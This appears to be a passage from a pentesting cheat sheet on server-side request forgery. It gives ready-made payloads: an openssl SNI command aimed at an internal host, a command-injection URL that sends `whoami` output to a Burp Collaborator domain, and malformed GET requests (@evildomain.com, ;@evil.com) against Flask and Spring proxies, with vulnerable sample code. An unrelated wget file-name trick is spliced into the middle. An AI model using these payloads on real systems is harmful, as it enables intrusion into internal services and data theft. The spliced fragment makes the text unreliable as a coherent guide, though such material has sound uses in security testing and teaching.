Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

- SSRF via Referrer header
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.
- SSRF via SNI data from certificate
The simplest misconfiguration that would allow you to connect to an arbitrary backend would look something like this
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Here, the SNI field value is used directly as the address of the backend. With this insecure configuration, we can exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field. For example, the following command would force Nginx to connect to internal.host.com
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

#Create file and HTTP server

python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
- Command Injection
It might be worth trying a payload like:
url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
- Time based SSRF
Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)

Flask accepts certain characters that it shouldn't. As an example, the following HTTP request, which should be considered invalid, is surprisingly treated as valid by the framework, but the server responds 404 Not Found:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Below is an example of the code:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
"What if the developer forgets to add the last slash in the SITE_NAME variable?". And yes, it can lead to an SSRF.
Since Flask also allows any ASCII character after the @
, it's possible to fetch an arbitrary domain after concatenating the malicious pathname and the destination server.
Please consider the following source code as a reference for the exploitation scenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Presented below is an example of an exploitation request:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
In the following example, I was able to fetch my EC2 metadata:
Spring framework accepts the matrix parameter separator character ;
before the first slash of the HTTP pathname:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
If a developer implements a server-side request that utilizes the complete pathname of the request to fetch an endpoint, it can lead to the emergence of Server-Side Request Forgery (SSRF).
Please consider the following source code as a reference for the exploitation scenario:
The code snippet above utilizes the HttpServletRequest
API to retrieve the requested URL through the getRequestURI()
function. Subsequently, it concatenates the requested URI with the destination endpoint ifconfig.me.
Considering that Spring permits any character following the Matrix parameter separator, becoming possible to use the @
character to fetch an arbitrary endpoint as well.
Below is an example of the exploit request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
